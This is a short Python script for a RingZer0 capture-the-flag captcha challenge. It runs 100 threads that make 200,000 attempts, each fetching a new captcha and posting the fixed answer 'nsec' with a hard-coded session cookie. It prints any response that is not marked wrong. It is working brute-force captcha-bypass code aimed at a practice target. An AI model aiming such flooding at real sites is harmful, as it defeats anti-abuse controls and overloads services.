#!/usr/bin/env python3

import http.client
import urllib.parse
import queue
import threading

num_worker_threads = 100


conn = http.client.HTTPConnection("challenges.ringzer0team.com:10139")
conn.request("GET", "/form2.php")
resp = conn.getresponse()
session_id = resp.headers["Set-Cookie"].split(";")[0].split("=")[1]
body = resp.read()

#print(session_id)
session_id="eotluo7cl4q3ejfg683bd3dqk0"

headers = {
    "Cookie": "PHPSESSID=" + session_id,
    "Content-Type": "application/x-www-form-urlencoded"
}


def worker():
    conn = http.client.HTTPConnection("challenges.ringzer0team.com:10139")
    while True:
        n = q.get()
        if n is None:
            break
        conn.request("GET", "/captcha/captchabroken2.php?new", None, headers)
        resp = conn.getresponse()
        body = resp.read()
        #with open(f"{n}.jpg", "wb") as f:
        #    f.write(body)

        params = urllib.parse.urlencode({
            "captcha": "nsec"
        })
        conn.request("POST", "/captcha2.php", params, headers)
        resp = conn.getresponse()
        body = resp.read()
        if b"wrong" not in body:
            print(n, body)
        q.task_done()

    conn.close()


q = queue.Queue()
threads = []
for i in range(num_worker_threads):
    t = threading.Thread(target=worker)
    t.start()
    threads.append(t)

for n in range(200000):
    q.put(n)

q.join()

for i in range(num_worker_threads):
    q.put(None)
for t in threads:
    t.join()
